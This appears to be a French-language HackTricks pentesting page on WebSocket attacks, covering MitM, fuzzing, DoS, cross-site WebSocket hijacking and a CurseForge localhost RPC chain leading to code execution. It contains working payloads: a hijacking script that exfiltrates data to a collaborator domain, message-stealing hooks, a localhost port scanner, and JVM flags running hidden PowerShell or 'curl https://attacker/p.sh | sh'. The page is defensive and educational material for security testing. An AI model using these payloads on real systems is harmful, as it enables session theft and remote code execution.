Attaques WebSocket

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Qu’est-ce que les WebSockets

Les connexions WebSocket sont établies via une poignée de main initiale HTTP et sont conçues pour être persistantes, permettant des échanges bidirectionnels à tout moment sans nécessiter un système transactionnel. Cela rend les WebSockets particulièrement avantageux pour les applications nécessitant une faible latence ou une communication initiée par le serveur, comme les flux de données financières en direct.

Établissement des connexions WebSocket

Une explication détaillée sur l’établissement des connexions WebSocket est accessible here. En résumé, les connexions WebSocket sont généralement initiées via JavaScript côté client comme montré ci-dessous:

var ws = new WebSocket("wss://normal-website.com/ws")

Le protocole wss signifie une connexion WebSocket sécurisée avec TLS, tandis que ws indique une connexion non sécurisée.

Lors de l’établissement de la connexion, un handshake est effectué entre le navigateur et le serveur via HTTP. Le processus de handshake implique que le navigateur envoie une requête et que le serveur réponde, comme illustré dans les exemples suivants :

Le navigateur envoie une requête de handshake :

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Réponse de handshake du serveur:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

La connexion reste ouverte pour l’échange de messages dans les deux sens une fois établie.

Points clés de la poignée de main WebSocket :

  • Les en-têtes Connection et Upgrade signalent le démarrage d’une poignée de main WebSocket.
  • L’en-tête Sec-WebSocket-Version indique la version du protocole WebSocket souhaitée, généralement 13.
  • Une valeur aléatoire encodée en Base64 est envoyée dans l’en-tête Sec-WebSocket-Key, garantissant l’unicité de chaque poignée de main, ce qui aide à prévenir les problèmes avec des proxies de mise en cache. Cette valeur n’est pas utilisée pour l’authentification mais pour confirmer que la réponse n’est pas générée par un serveur ou un cache mal configuré.
  • L’en-tête Sec-WebSocket-Accept dans la réponse du serveur est un hash de la Sec-WebSocket-Key, vérifiant l’intention du serveur d’ouvrir une connexion WebSocket.

Ces mécanismes garantissent que le processus de poignée de main est sécurisé et fiable, ouvrant la voie à une communication temps réel efficace.

Console Linux

Vous pouvez utiliser websocat pour établir une connexion brute avec un WebSocket.

websocat --insecure wss://10.10.10.10:8000 -v

Ou pour créer un serveur websocat:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connexions

Si vous constatez que des clients sont connectés à un HTTP websocket depuis votre réseau local actuel, vous pouvez essayer une ARP Spoofing Attack pour effectuer une attaque MitM entre le client et le serveur.
Une fois que le client tente de se connecter à vous, vous pouvez alors utiliser:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets énumération

Vous pouvez utiliser l’outil https://github.com/PalindromeLabs/STEWS pour découvrir, fingerprint et rechercher des vulnérabilités dans les websockets automatiquement.

Websocket Debug tools

  • Burp Suite prend en charge la communication MitM websockets de manière très similaire à la communication HTTP classique.
  • The socketsleuth Burp Suite extension vous permettra de mieux gérer les communications Websocket dans Burp en obtenant l’history, en définissant des interception rules, en utilisant des règles match and replace, en utilisant Intruder et AutoRepeater.
  • WSSiP: Abréviation de “WebSocket/Socket.io Proxy”, cet outil, écrit en Node.js, fournit une interface utilisateur pour capturer, intercepter, envoyer des messages personnalisés et voir toutes les communications WebSocket et Socket.IO entre le client et le serveur.
  • wsrepl est un interactive websocket REPL conçu spécifiquement pour le pentesting. Il fournit une interface pour observer incoming websocket messages and sending new ones, avec un framework facile à utiliser pour automating cette communication.
  • https://websocketking.com/ c’est un outil web pour communiquer avec d’autres webs en utilisant websockets.
  • https://hoppscotch.io/realtime/websocket parmi d’autres types de communications/protocoles, fournit un outil web pour communiquer avec d’autres webs en utilisant websockets.

Décryptage Websocket

Laboratoire Websocket

Dans Burp-Suite-Extender-Montoya-Course vous avez un code pour lancer une application web utilisant des websockets et dans this post vous pouvez trouver une explication.

Websocket Fuzzing

L’extension Burp Backslash Powered Scanner permet désormais de fuzz également les messages WebSocket. Vous pouvez lire plus d’informations à ce sujet ici.

WebSocket Turbo Intruder (Burp extension)

WebSocket Turbo Intruder de PortSwigger apporte le scripting Python de style Turbo Intruder et le fuzzing à haut débit aux WebSockets. Installez-le depuis le BApp Store ou depuis les sources. Il inclut deux composants :

  • Turbo Intruder : envoi de messages à haut volume vers un seul endpoint WS en utilisant des moteurs personnalisés.
  • HTTP Middleware : expose un endpoint HTTP local qui relaie les corps comme messages WS sur une connexion persistante, de sorte que tout scanner basé sur HTTP puisse sonder les backends WS.

Schéma de script de base pour fuzz un endpoint WS et filtrer les réponses pertinentes :

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Utilisez des décorateurs comme @MatchRegex(...) pour réduire le bruit lorsque un seul message déclenche plusieurs réponses.

Pont WS derrière HTTP (HTTP Middleware)

Enveloppez une connexion WS persistante et transmettez les corps HTTP comme des messages WS pour les tests automatisés avec des scanners HTTP:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Puis envoyez HTTP localement ; le body est acheminé comme message WS :

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Cela vous permet de piloter les backends WS tout en filtrant les événements « intéressants » (par ex., erreurs SQLi, auth bypass, command injection behavior).

Gestion de Socket.IO (handshake, heartbeats, events)

Socket.IO ajoute son propre framing au‑dessus de WS. Détectez‑le via le paramètre de requête obligatoire EIO (par ex., EIO=4). Maintenez la session en vie avec Ping (2) et Pong (3) et commencez la conversation avec "40", puis émettez des événements comme 42["message","hello"].

Exemple Intruder :

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Variante d’adaptateur HTTP:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Détection de prototype pollution côté serveur via Socket.IO

En suivant la technique de détection sûre de PortSwigger, essayez de polluer les composants internes d’Express en envoyant un payload comme :

{"__proto__":{"initialPacket":"Polluted"}}

Si les messages de bienvenue ou le comportement changent (par ex., echo inclut “Polluted”), vous avez probablement pollué des prototypes côté serveur. L’impact dépend des sinks accessibles ; corrélez avec les gadgets dans la section Node.js prototype pollution. Voir :

WebSocket race conditions with Turbo Intruder

Le moteur par défaut regroupe les messages sur une seule connexion (bon débit, mauvais pour les races). Utilisez le moteur THREADED pour créer plusieurs connexions WS et envoyer des payloads en parallèle afin de déclencher des races logiques (double‑spend, réutilisation de token, desynchronisation d’état). Commencez depuis le script d’exemple et ajustez la concurrence dans config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Fabriquez des frames WS dont l’en‑tête déclare une énorme longueur de payload mais sans envoyer de corps. Certains serveurs WS font confiance à la longueur et préallouent des buffers ; la définir près de Integer.MAX_VALUE peut provoquer un Out‑Of‑Memory et un DoS distant sans auth. Voir le script d’exemple.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Activez le WS Logger pour capturer et corréler les messages en utilisant des IDs internes.
  • Utilisez les helpers inc*/dec* sur Connection pour ajuster la gestion des message ID dans des adapters complexes.
  • Les decorators comme @PingPong/@Pong et les helpers comme isInteresting() réduisent le bruit et maintiennent les sessions vivantes.

Operational safety

Le fuzzing WS à haut débit peut ouvrir de nombreuses connexions et envoyer des milliers de messages par seconde. Les frames malformées et les débits élevés peuvent provoquer de vrais DoS. N’utilisez cela que là où c’est autorisé.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, aussi connu sous le nom de cross-origin WebSocket hijacking, est identifié comme un cas spécifique de Cross-Site Request Forgery (CSRF) affectant les handshakes WebSocket. Cette vulnérabilité survient lorsque les handshakes WebSocket s’authentifient uniquement via des HTTP cookies sans CSRF tokens ni mesures de sécurité similaires.

Les attaquants peuvent exploiter cela en hébergeant une malicious web page qui initie une connexion WebSocket cross-site vers une application vulnérable. En conséquence, cette connexion est traitée comme faisant partie de la session de la victime auprès de l’application, tirant parti de l’absence de protection CSRF dans le mécanisme de gestion de session.

Pour que cette attaque fonctionne, les conditions suivantes doivent être réunies :

  • L’authentication du websocket doit être basée sur des cookies
  • Le cookie doit être accessible depuis le serveur de l’attaquant (cela signifie généralement SameSite=None) et sans Firefox Total Cookie Protection activé dans Firefox et sans blocked third-party cookies dans Chrome.
  • Le websocket server ne doit pas vérifier l’origin de la connexion (ou cela doit être contournable)

Aussi :

  • Si l’authentication est basée sur une connexion locale (vers localhost ou vers un réseau local) l’attaque sera possible car aucune protection actuelle ne l’interdit (voir more info here)

Simple Attack

Notez que lorsqu’on établit une websocket connection, le cookie est envoyé au server. Le server peut l’utiliser pour associer chaque utilisateur spécifique à sa websocket session basée sur le cookie envoyé.

Ainsi, si par exemple le websocket server renvoie l’historique de la conversation d’un utilisateur lorsqu’un msg avec “READY” est envoyé, alors un simple XSS établissant la connexion (le cookie sera envoyé automatiquement pour autoriser l’utilisateur victime) envoyantREADY” pourra récupérer l’historique de la conversation.

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Dans ce billet de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ l’attaquant a réussi à execute arbitrary Javascript in a subdomain du domaine où la communication Websocket avait lieu. Parce que c’était un subdomain, le cookie était sent, et parce que le Websocket didn’t check the Origin properly, il était possible de communiquer avec lui et steal tokens from it.

Stealing data from user

Copiez l’application web que vous voulez imiter (les fichiers .html par exemple) et, dans le script où la communication Websocket a lieu, ajoutez ce code :

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Téléchargez maintenant le fichier wsHook.js depuis https://github.com/skepticfx/wshook et enregistrez-le dans le dossier contenant les fichiers web.
En exposant l’application web et en faisant en sorte qu’un utilisateur s’y connecte, vous pourrez voler les messages envoyés et reçus via websocket :

sudo python3 -m http.server 80

Protections contre CSWSH

L’attaque CSWSH repose sur le fait qu’un utilisateur se connecte à une page malveillante qui va ouvrir une connexion websocket vers une page web où l’utilisateur est déjà connecté et va s’authentifier en son nom puisque la requête enverra les cookies de l’utilisateur.

De nos jours, il est très facile de prévenir ce problème :

  • Websocket server checking the origin : Le serveur websocket doit toujours vérifier d’où un utilisateur se connecte afin d’empêcher des pages inattendues de se connecter.
  • Authentication token : Au lieu de baser l’authentification sur un cookie, la connexion websocket pourrait être basée sur un token généré par le serveur pour l’utilisateur et inconnu de l’attaquant (comme un anti-CSRF token).
  • SameSite Cookie attribute : Les cookies avec la valeur SameSite Lax ou Strict ne seront pas envoyés depuis la page d’un attaquant externe vers le serveur de la victime ; par conséquent, l’authentification basée sur les cookies échouera. Notez que Chrome attribue désormais la valeur Lax aux cookies sans ce flag spécifié, rendant cela plus sûr par défaut. Toutefois, pendant les 2 premières minutes après la création d’un cookie il aura la valeur None, le rendant vulnérable pendant cette période limitée (il est aussi attendu que cette mesure soit supprimée à un moment donné).
  • Firefox Total Cookie Protection : Total Cookie Protection fonctionne en isolant les cookies au site dans lequel ils sont créés. Essentiellement, chaque site dispose de sa propre partition de stockage de cookies pour empêcher des tiers de relier l’historique de navigation d’un utilisateur. Cela rend CSWSH inutilisable car le site de l’attaquant n’aura pas accès aux cookies.
  • Chrome third-party cookies block : Cela peut aussi empêcher l’envoi du cookie de l’utilisateur authentifié au serveur websocket même avec SameSite=None.

Localhost WebSocket abuse & browser port discovery

Les launchers desktop démarrent fréquemment des helpers (par ex. CurseAgent.exe de CurseForge) qui exposent des JSON-RPC WebSockets sur 127.0.0.1:<random_port>. Le navigateur does not enforce SOP on loopback sockets, donc n’importe quelle page Web peut tenter le handshake. Si l’agent accepte des valeurs arbitraires pour Origin et saute l’authentification secondaire, la surface IPC devient contrôlable à distance directement depuis JavaScript.

Énumération des méthodes exposées

Capturez une session légitime pour apprendre le contrat du protocole. CurseForge, par exemple, émet des frames telles que {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}name est la méthode RPC et args contient des objets structurés (GUIDs, résolution, flags, etc.). Une fois cette structure connue, vous pouvez invoquer des méthodes comme createModpack, minecraftGetDefaultLocation, ou toute autre tâche privilégiée directement depuis une page injectée.

Découverte de ports côté navigateur

Parce que le helper se bind sur un port élevé aléatoire, l’exploit commence par brute-forcer localhost via WebSockets. Les navigateurs basés sur Chromium tolèrent ~16k d’upgrades échoués avant throttling, ce qui suffit pour parcourir la plage éphémère ; Firefox a tendance à crasher ou se figer après quelques centaines d’échecs, donc les PoCs pratiques ciblent souvent Chromium.

Scanner minimal pour navigateur ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Une fois qu’une connexion passe le handshake et renvoie des données spécifiques au protocole, réutilisez ce socket pour la chaîne RPC.

Enchaînement de méthodes JSON-RPC en RCE

L’exploit CurseForge enchaîne deux appels non authentifiés :

  1. createModpack → renvoie un nouveau MinecraftInstanceGuid sans interaction utilisateur.
  2. minecraftTaskLaunchInstance → lance ce GUID tout en acceptant des flags JVM arbitraires via AdditionalJavaArguments.

Les options de diagnostic JNI/JVM fournissent alors une primitive RCE clé en main. Par exemple, limiter le metaspace pour provoquer un crash et exploiter le error hook pour l’exécution de commandes :

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Sur les cibles Unix, remplacez simplement le payload par /bin/sh -c 'curl https://attacker/p.sh | sh'. Cela fonctionne même lorsque vous ne pouvez pas modifier le code de l’application — contrôler la JVM CLI suffit.

Ce schéma “create resource → privileged launch” apparaît souvent dans les updaters et les launchers. Chaque fois que la méthode (1) renvoie un identifiant suivi par le serveur et que la méthode (2) exécute du code ou lance un processus avec cet identifiant, vérifiez si des arguments contrôlés par l’utilisateur peuvent être injectés.

Race Conditions

Race Conditions in WebSockets are also a thing, check this information to learn more.

Autres vulnérabilités

Comme les Web Sockets sont un mécanisme pour envoyer des données côté serveur et côté client, selon la manière dont le serveur et le client traitent l’information, Web Sockets peuvent être utilisés pour exploiter plusieurs autres vulnérabilités comme XSS, SQLi ou toute autre vuln web classique en utilisant les entrées d’un utilisateur depuis un websocket.

WebSocket Smuggling

This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn’t true). This could allow an attacker to access hidden endpoints. For more information check the following page:

Upgrade Header Smuggling

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks